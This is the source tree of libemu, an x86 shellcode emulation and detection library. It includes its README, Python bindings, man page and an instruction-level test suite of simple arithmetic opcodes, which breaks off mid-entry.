libemu-0.2.0+git20120122+564/0000755000175300017530000000000012000372236014024 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/README0000644000175300017530000000122411706767213014722 0ustar dt-npbdt-npb _______________ | | | | | libemu | | x86 emulation | | | | | | | \ O | \______________| homepage: http://libemu.mwcollect.org building from svn: autoreconf -v -i ./configure --prefix=/opt/libemu; make install building from tarball: tar xvfz libemu-VERSION.tar.gz cd libemu-VERSION ./configure --prefix=/opt/libemu; make install specific configure options: --enable-debug enable debug code generation [default=yes] debug messages, instruction strings, nothing one wants to miss, even if it takes a lot of cpu cycles. libemu-0.2.0+git20120122+564/bindings/0000755000175300017530000000000011706767213015640 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/bindings/Makefile.am0000644000175300017530000000016211706767213017673 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign if ENABLE_PYTHON_BINDINGS python_dir = python endif SUBDIRS = $(python_dir) libemu-0.2.0+git20120122+564/bindings/python/0000755000175300017530000000000011706767213017161 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/bindings/python/libemu_module.c0000644000175300017530000001101311706767213022143 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Georg Wicherski * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact gw@mwcollect.org * *******************************************************************************/ #include #include #include #include typedef struct { PyObject_HEAD struct emu * emulator; } libemu_EmulatorObject; static PyObject * libemu_Emulator_new(PyTypeObject * type, PyObject * args, PyObject * kwds) { libemu_EmulatorObject * self; self = (libemu_EmulatorObject *) type->tp_alloc(type, 0); if(self) { self->emulator = emu_new(); if(!self->emulator) { Py_DECREF(self); return NULL; } } return (PyObject *) self; } static void libemu_Emulator_dealloc(libemu_EmulatorObject * self) { if(self->emulator) { emu_free(self->emulator); self->emulator = 0; } self->ob_type->tp_free((PyObject*) self); } static PyObject * libemu_Emulator_test(libemu_EmulatorObject * self, PyObject * args, PyObject * kwds) { int length, result; const char * buffer; if(!PyArg_ParseTuple(args, "s#", &buffer, &length)) return NULL; if(!self->emulator) return NULL; result = emu_shellcode_test(self->emulator, (uint8_t *) buffer, length); if(result == -1) Py_RETURN_NONE; return Py_BuildValue("i", result); } static PyMethodDef libemu_EmulatorMethods[] = { { "test", (PyCFunction) libemu_Emulator_test, METH_VARARGS, "Test a given buffer for presenced of a shellcode." }, { NULL, NULL, 0, NULL }, }; static PyTypeObject libemu_EmulatorType = { PyObject_HEAD_INIT(NULL) 0, /*ob_size*/ "libemu.Emulator", /*tp_name*/ sizeof(libemu_EmulatorObject), /*tp_basicsize*/ 0, /*tp_itemsize*/ (destructor) libemu_Emulator_dealloc, /*tp_dealloc*/ 0, /*tp_print*/ 0, /*tp_getattr*/ 0, /*tp_setattr*/ 0, /*tp_compare*/ 0, /*tp_repr*/ 0, /*tp_as_number*/ 0, /*tp_as_sequence*/ 0, /*tp_as_mapping*/ 0, /*tp_hash */ 0, /*tp_call*/ 0, /*tp_str*/ 0, /*tp_getattro*/ 0, /*tp_setattro*/ 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT, /*tp_flags*/ "libemu x86 emulator wrapper object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ libemu_EmulatorMethods, /* tp_methods */ 0, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ 0, /* tp_init */ 0, /* tp_alloc */ libemu_Emulator_new, /* tp_new */ }; static PyMethodDef LibemuMethods[] = { { NULL, NULL, 0, NULL } }; PyMODINIT_FUNC initlibemu() { PyObject * module; if(PyType_Ready(&libemu_EmulatorType) < 0) return; module = Py_InitModule3("libemu", LibemuMethods, "libemu x86 emulator wrapper module"); Py_INCREF(&libemu_EmulatorType); PyModule_AddObject(module, "Emulator", (PyObject *) &libemu_EmulatorType); } libemu-0.2.0+git20120122+564/bindings/python/setup.py.in0000755000175300017530000000121711706767213021304 0ustar dt-npbdt-npb#!/usr/bin/python from distutils.core import setup, Extension libemu = Extension('libemu', sources = ['libemu_module.c'], include_dirs = ['../../include'], library_dirs = ['../../src/.libs'], extra_link_args=['-Wl,-rpath=@LIBDIR@'], libraries = ['emu'], ) setup (name = 'libemu', version = '@VERSION@', description = 'Python interface to the libemu x86 emulator.', author = 'Georg Wicherski', author_email = 'gw@mwcollect.org', url = 'http://libemu.mwcollect.org/', ext_modules = [libemu]) libemu-0.2.0+git20120122+564/bindings/python/Makefile.am0000644000175300017530000000030311706767213021211 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign all: python setup.py build install: all python setup.py install clean: python setup.py clean dist-clean: clean EXTRA_DIST = setup.py libemu_module.c libemu-0.2.0+git20120122+564/doc/0000755000175300017530000000000011706767213014610 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/doc/libemu.30000644000175300017530000001447011706767213016157 0ustar dt-npbdt-npb.TH EMU 3 "04 September 2007" .SH NAME libemu - emulate x86 shellcodes .SH SYNOPSIS .nf .ft B #include #include #include .ft .LP .nf .LP .ft B struct emu * emu_new () void emu_free (struct emu *e) struct emu_memory * emu_memory_get (struct emu *e) struct emu_logging * emu_logging_get (struct emu *e) struct emu_cpu * emu_cpu_get (struct emu *e) void emu_errno_set (struct emu *e, int err) int emu_errno (struct emu *c) void emu_strerror_set (struct emu *e, .ti +8 const char *format,...) const char * emu_strerror (struct emu *e) .ft .LP .ft B void emu_memory_clear (struct emu_memory *em) int32_t emu_memory_read_byte (struct emu_memory *m, .ti +8 uint32_t addr, uint8_t *byte) int32_t emu_memory_read_word (struct emu_memory *m, .ti +8 uint32_t addr, uint16_t *word) int32_t emu_memory_read_dword (struct emu_memory *m, .ti +8 uint32_t addr, uint32_t *dword) int32_t emu_memory_read_block (struct emu_memory *m, .ti +8 uint32_t addr, void *dest, size_t len) int32_t emu_memory_read_string (struct emu_memory *m, .ti +8 uint32_t addr, struct emu_string *s, uint32_t maxsize) int32_t emu_memory_write_byte (struct emu_memory *m, .ti +8 uint32_t addr, uint8_t byte) int32_t emu_memory_write_word (struct emu_memory *m, .ti +8 uint32_t addr, uint16_t word) int32_t emu_memory_write_dword (struct emu_memory *m, .ti +8 uint32_t addr, uint32_t dword) int32_t emu_memory_write_block (struct emu_memory *m, .ti +8 uint32_t addr, void *src, size_t len) void emu_memory_segment_select (struct emu_memory *m, .ti +8 enum emu_segment s) enum emu_segment emu_memory_segment_get (struct emu_memory *m) int32_t emu_memory_alloc (struct emu_memory *m, .ti +8 uint32_t *addr, size_t len) uint32_t emu_memory_get_usage (struct emu_memory *m) void emu_memory_mode_ro (struct emu_memory *m) void emu_memory_mode_rw (struct emu_memory *m) .ft .LP .ft B uint32_t emu_cpu_reg32_get (struct emu_cpu *cpu_p, enum emu_reg32 reg) uint16_t emu_cpu_reg16_get (struct emu_cpu *cpu_p, enum emu_reg16 reg) uint8_t emu_cpu_reg8_get (struct emu_cpu *cpu_p, enum emu_reg8 reg) void emu_cpu_reg16_set (struct emu_cpu *cpu_p, enum emu_reg16 reg, uint16_t val) void emu_cpu_reg32_set (struct emu_cpu *cpu_p, enum emu_reg32 reg, uint32_t val) void emu_cpu_reg8_set (struct emu_cpu *cpu_p, enum emu_reg8 reg, uint8_t val) uint32_t emu_cpu_eflags_get (struct emu_cpu *c) void emu_cpu_eflags_set (struct emu_cpu *c, uint32_t val) void emu_cpu_eip_set (struct emu_cpu *c, uint32_t eip) uint32_t emu_cpu_eip_get (struct emu_cpu *c) int32_t emu_cpu_parse (struct emu_cpu *c) int32_t emu_cpu_step (struct emu_cpu *c) int32_t emu_cpu_run (struct emu_cpu *c) void emu_cpu_debug_print (struct emu_cpu *c) .ft .LP .ft B int32_t emu_shellcode_test(struct emu *e, uint8_t *data, uint16_t size) .ft .LP .ft B struct emu_env_w32 *emu_env_w32_new(struct emu *e) void emu_env_w32_free(struct emu_env_w32 *env) struct emu_env_w32_dll_export *emu_env_w32_eip_check(struct emu_env_w32 *env) int32_t emu_env_w32_export_hook(struct emu_env_w32 *env, .ti +8 const char *dllname, .ti +8 const char *exportname, .ti +8 int32_t (*fnhook) (struct emu_env_w32 *env, struct emu_env_w32_dll_export *ex) .ti +8 ); .ft .fi .SH DESCRIPTION libemu provides basic x86 emulation including memory access and registers. .PP .SH ROUTINES .B emu_new() is used to create a new emulation entity, use .B emu_free() to free all associated memory. .B emu_memory_get() , .B emu_logging_get() and .B emu_cpu_get() can be used to obtain pointers to different parts of the emulation. For errorhandling, use .B emu_errno() or .B emu_strerror() returning either a POSIX errno or a string describing the error. When writing extensions .B emu_errno_set() and .B emu_strerror_set() will come handy too. .PP The .B emu_memory is split up in pages, therefore there are functions to access the memory without taking care of page borders. .B emu_memory_read_byte() , .B emu_memory_read_word() , .B emu_memory_read_dword() , .B emu_memory_read_string() and .B emu_memory_read_block() can be used to read values from the emu memory. .B emu_memory_read_string() will allocate the required memory for the string within the .B emu_string provided by itself, as you won't be able to know the strings length, in all other cases, the pointer to the location has to provide enough space to write the data. .PP Once the emulation is created, code is written to the memory, we need to set the registers to the initial values, the cpuflags to the start values and EIP to the point where to start code execution. .B emu_cpu provides functions to access all registers, the flags and EIP for read and write. To access the 32bit registers use .B emu_cpu_reg32_get() and .B emu_cpu_reg32_set() where .I reg is one of eax, ecx, edx, ebx, esp, ebp, esi, edi. To access the 16bit registers use .B emu_cpu_reg16_get() and .B emu_cpu_reg16_set() with ax, cx, dx, bx, sp, bp, si, di as valid values for .IR reg. In case of 8bit register access use .B emu_cpu_reg8_get() and .B emu_cpu_reg8_set() with al, cl, dl, bl, ah, ch, dh, bh as values for .IR reg . Accessing the cpu's flags is possible using .B emu_cpu_eflags_get() and .BR emu_cpu_eflags_set() . Accessing EIP can be done using .B emu_cpu_eip_set() and .BR emu_cpu_eip_get() . Once everything is setup, parse the first instruction using .B emu_cpu_parse() , on success it will return 0, on failure use .B emu_strerror() to get a description of the error. If parsing was successfull, step the first instruction using .BR emu_cpu_step() . .PP If you want to detect shellcodes in buffers, use .B emu_shellcode_test() , the emu will copy the buffer to it's pages and try to detect a shellcode. If a possible shellcode gets detected, the guessed starting offset is returned, else -1. .PP To be able to run shellcodes using windows api, one has to provide parts of the windows process environment to the emulation, as well as some kind of emulation for the used api calls. .B emu_env_w32_new() will created a minimalistic process environment in .I e and using .B emu_env_w32_eip_check() after step allows you intercepting calls to exported api. If the return value of .B emu_env_w32_eip_check() is not NULL, the dll exports information is returned, including the calls name and hook. If you want to hook calls to api exports, use .BR emu_env_w32_export_hook() . .SH AUTHOR Markus Koetter libemu-0.2.0+git20120122+564/doc/Makefile.am0000644000175300017530000000012411706767213016641 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign man_MANS = libemu.3 EXTRA_DIST = $(man_MANS) libemu-0.2.0+git20120122+564/testsuite/0000755000175300017530000000000011706767213016074 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/testsuite/instrtest.c0000644000175300017530000006623111706767213020307 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include #include #include #include #include #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_log.h" #include "emu/emu_cpu_data.h" #define CODE_OFFSET 0x417001 #define FAILED "\033[31;1mfailed\033[0m" #define SUCCESS "\033[32;1msuccess\033[0m" #define F(x) (1 << (x)) static struct run_time_options { int verbose; int nasm_force; uint32_t steps; int testnumber; } opts; static const char *regm[] = { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" }; /* 0 1 2 3 4 5 6 7 */ static const char *flags[] = { "CF", " ", "PF", " " , "AF" , " ", "ZF", "SF", "TF", "IF", "DF", "OF" , "IOPL", "IOPL", "NT", " ", "RF", "VM", "AC", "VIF", "RIP" , "ID" , " ", " ", " ", " ", " ", " ", " ", " ", " ", " "}; struct instr_test { const char *instr; char *code; uint16_t codesize; struct { uint32_t reg[8]; uint32_t mem_state[2]; uint32_t eflags; } in_state; struct { uint32_t reg[8]; uint32_t mem_state[2]; uint32_t eflags; uint32_t eip; } out_state; }; #define FLAG(fl) (1 << (fl)) struct instr_test tests[] = { /* { .instr = "instr", .in_state.reg = {0,0,0,0,0,0,0,0 }, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0,0,0,0,0,0,0 }, .out_state.mem_state = {0, 0}, },*/ /*{ .instr = "", .code = .codesize = 344, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, },*/ /* 00 */ { .instr = "add ah,al", .code = "\x00\xc4", .codesize = 2, .in_state.reg = {0xff01,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x01,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_cf) | FLAG(f_pf) | FLAG(f_zf), }, { .instr = "add ch,dl", .code = "\x00\xd5", .codesize = 2, .in_state.reg = {0,0x1000,0x20,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0x3000,0x20,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add [ecx],al", .code = "\x00\x01", .codesize = 2, .in_state.reg = {0x10,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x10101010}, .out_state.reg = {0x10,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x10101020}, }, /* 01 */ { .instr = "add ax,cx", .code = "\x66\x01\xc8", .codesize = 3, .in_state.reg = {0xffff1111,0xffff2222,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0xffff3333,0xffff2222,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add [ecx],ax", .code = "\x66\x01\x01", .codesize = 3, .in_state.reg = {0xffff1111,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x22224444}, .out_state.reg = {0xffff1111,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x22225555}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add eax,ecx", .code = "\x01\xc8", .codesize = 2, .in_state.reg = {0x11112222,0x22221111,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x33333333,0x22221111,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add [ecx],eax", .code = "\x01\x01", .codesize = 2, .in_state.reg = {0x22221111,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x22224444}, .out_state.reg = {0x22221111,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44445555}, .out_state.eflags = FLAG(f_pf), }, /* 02 */ { .instr = "add cl,bh", .code = "\x02\xcf", /* add cl,bh */ .codesize = 2, .in_state.reg = {0,0xff,0,0x100,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0,0,0x100,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_cf) | FLAG(f_pf) | FLAG(f_zf), }, { .instr = "add al,[ecx]", .code = "\x02\x01", .codesize = 2, .in_state.reg = {0x3,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x30303030}, .out_state.reg = {0x33,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x30303030}, .out_state.eflags = FLAG(f_pf), }, /* 03 */ { .instr = "add cx,di", .code = "\x66\x03\xcf", /* add cx,di */ .codesize = 3, .in_state.reg = {0,0x10101010,0,0,0,0,0,0x02020202}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0x10101212,0,0,0,0,0,0x02020202}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add ax,[ecx]", .code = "\x66\x03\x01", .codesize = 3, .in_state.reg = {0x11112222,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x44443333}, .out_state.reg = {0x11115555,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44443333}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add ecx,edi", .code = "\x03\xcf", /* add ecx,edi */ .codesize = 2, .in_state.reg = {0,0x10101010,0,0,0,0,0,0x02020202}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0x12121212,0,0,0,0,0,0x02020202}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add eax,[ecx]", .code = "\x03\x01", .codesize = 2, .in_state.reg = {0x11112222,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x44443333}, .out_state.reg = {0x55555555,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44443333}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add ecx,[ebx+eax*4+0xdeadbeef]", .code = "\x03\x8c\x83\xef\xbe\xad\xde", .codesize = 7, .in_state.reg = {0x2,0x1,0,0x1,0,0,0,0}, .in_state.mem_state = {0xdeadbef8, 0x44443333}, .out_state.reg = {0x2,0x44443334,0,0x1,0,0,0,0}, .out_state.mem_state = {0xdeadbef8, 0x44443333}, }, /* 04 */ { .instr = "add al,0x11", .code = "\x04\x11", .codesize = 2, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x22222233,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, /* 05 */ { .instr = "add ax,0x1111", .code = "\x66\x05\x11\x11", .codesize = 4, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x22223333,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "add eax,0x11111111", .code = "\x05\x11\x11\x11\x11", .codesize = 5, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x33333333,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, /* 08 */ { .instr = "or ah,al", // .code = "\x00\xc4", // .codesize = 2, .in_state.reg = {0xff01,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x0ff01,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_sf) | FLAG(f_pf), }, { .instr = "or ch,dl", // .code = "\x00\xd5", // .codesize = 2, .in_state.reg = {0,0x1000,0x20,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0x3000,0x20,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or [ecx],al", // .code = "\x00\x01", // .codesize = 2, .in_state.reg = {0x10,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x10101010}, .out_state.reg = {0x10,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x10101010}, }, /* 09 */ { .instr = "or ax,cx", // .code = "\x66\x01\xc8", // .codesize = 3, .in_state.reg = {0xffff1111,0xffff2222,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0xffff3333,0xffff2222,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or [ecx],ax", // .code = "\x66\x01\x01", // .codesize = 3, .in_state.reg = {0xffff1111,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x22224444}, .out_state.reg = {0xffff1111,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x22225555}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or eax,ecx", // .code = "\x01\xc8", // .codesize = 2, .in_state.reg = {0x11112222,0x22221111,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x33333333,0x22221111,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or [ecx],eax", // .code = "\x01\x01", // .codesize = 2, .in_state.reg = {0x22221111,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x22224444}, .out_state.reg = {0x22221111,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x22225555}, .out_state.eflags = FLAG(f_pf), }, /* 0a */ { .instr = "or cl,bh", // .code = "\x02\xcf", /* or cl,bh */ // .codesize = 2, .in_state.reg = {0,0xff,0,0x100,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0xff,0,0x100,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf) | FLAG(f_sf), }, { .instr = "or al,[ecx]", // .code = "\x02\x01", // .codesize = 2, .in_state.reg = {0x3,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x30303030}, .out_state.reg = {0x33,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x30303030}, .out_state.eflags = FLAG(f_pf), }, /* 0b */ { .instr = "or cx,di", // .code = "\x66\x03\xcf", /* or cx,di */ // .codesize = 3, .in_state.reg = {0,0x10101010,0,0,0,0,0,0x02020202}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0x10101212,0,0,0,0,0,0x02020202}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or ax,[ecx]", // .code = "\x66\x03\x01", // .codesize = 3, .in_state.reg = {0x11112222,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x44443333}, .out_state.reg = {0x11113333,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44443333}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or ecx,edi", // .code = "\x03\xcf", /* or ecx,edi */ // .codesize = 2, .in_state.reg = {0,0x10101010,0,0,0,0,0,0x02020202}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0x12121212,0,0,0,0,0,0x02020202}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or eax,[ecx]", // .code = "\x03\x01", // .codesize = 2, .in_state.reg = {0x11112222,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x44443333}, .out_state.reg = {0x55553333,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44443333}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or ecx,[ebx+eax*4+0xdeadbeef]", .code = "\x0b\x8c\x83\xef\xbe\xad\xde", .codesize = 7, .in_state.reg = {0x2,0x1,0,0x1,0,0,0,0}, .in_state.mem_state = {0xdeadbef8, 0x44443333}, .out_state.reg = {0x2,0x44443333,0,0x1,0,0,0,0}, .out_state.mem_state = {0xdeadbef8, 0x44443333}, .out_state.eflags = FLAG(f_pf), }, /* 0c */ { .instr = "or al,0x11", // .code = "\x04\x11", // .codesize = 2, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x22222233,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, /* 0d */ { .instr = "or ax,0x1111", .code = "\x66\x0d\x11\x11", .codesize = 4, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x22223333,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "or eax,0x11111111", .code = "\x0d\x11\x11\x11\x11", .codesize = 5, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x33333333,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, /* 10 */ { .instr = "adc ah,al", // .code = "\x00\xc4", // .codesize = 2, .in_state.reg = {0xff01,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0x101,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_cf) , }, { .instr = "adc ch,dl", // .code = "\x00\xd5", // .codesize = 2, .in_state.reg = {0,0x1000,0x20,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0,0x3100,0x20,0,0,0,0,0}, .out_state.mem_state = {0, 0}, }, { .instr = "adc [ecx],al", // .code = "\x00\x01", // .codesize = 2, .in_state.reg = {0x10,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x10101010}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0x10,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x10101021}, .out_state.eflags = FLAG(f_pf) , }, /* 11 */ { .instr = "adc ax,cx", // .code = "\x66\x01\xc8", // .codesize = 3, .in_state.reg = {0xffff1111,0xffff2222,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0xffff3334,0xffff2222,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, // .out_state.eflags = FLAG_SET(f_pf), }, { .instr = "adc [ecx],ax", // .code = "\x66\x01\x01", // .codesize = 3, .in_state.reg = {0xffff1111,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x22224444}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0xffff1111,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x22225556}, .out_state.eflags = FLAG(f_pf), }, { .instr = "adc eax,ecx", // .code = "\x01\xc8", // .codesize = 2, .in_state.reg = {0x11112222,0x22221111,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0x33333334,0x22221111,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, // .out_state.eflags = FLAG_SET(f_pf), }, { .instr = "adc [ecx],eax", // .code = "\x01\x01", // .codesize = 2, .in_state.reg = {0x22221111,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x22224444}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0x22221111,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44445556}, .out_state.eflags = FLAG(f_pf), }, /* 12 */ { .instr = "adc cl,bh", // .code = "\x02\xcf", /* adc cl,bh */ // .codesize = 2, .in_state.reg = {0,0xff,0,0x100,0,0,0,0}, .in_state.mem_state = {0, 0}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0,0x1,0,0x100,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_cf), }, { .instr = "adc al,[ecx]", // .code = "\x02\x01", // .codesize = 2, .in_state.reg = {0x3,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x30303030}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0x34,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x30303030}, }, /* 13 */ { .instr = "adc cx,di", // .code = "\x66\x03\xcf", /* adc cx,di */ // .codesize = 3, .in_state.reg = {0,0x10101010,0,0,0,0,0,0x02020202}, .in_state.mem_state = {0, 0}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0,0x10101213,0,0,0,0,0,0x02020202}, .out_state.mem_state = {0, 0}, }, { .instr = "adc ax,[ecx]", // .code = "\x66\x03\x01", // .codesize = 3, .in_state.reg = {0x11112222,0x40000,0,0,0,0,0,0}, .in_state.mem_state = {0x40000, 0x44443333}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0x11115556,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44443333}, .out_state.eflags = FLAG(f_pf), }, { .instr = "adc ecx,edi", // .code = "\x03\xcf", /* adc ecx,edi */ // .codesize = 2, .in_state.reg = {0,0x10101010,0,0,0,0,0,0x02020202}, .in_state.mem_state = {0, 0}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0,0x12121213,0,0,0,0,0,0x02020202}, .out_state.mem_state = {0, 0}, // .out_state.eflags = FLAG_SET(f_pf), }, { .instr = "adc eax,[ecx]", // .code = "\x03\x01", // .codesize = 2, .in_state.reg = {0x11112222,0x40000,0,0,0,0,0,0}, 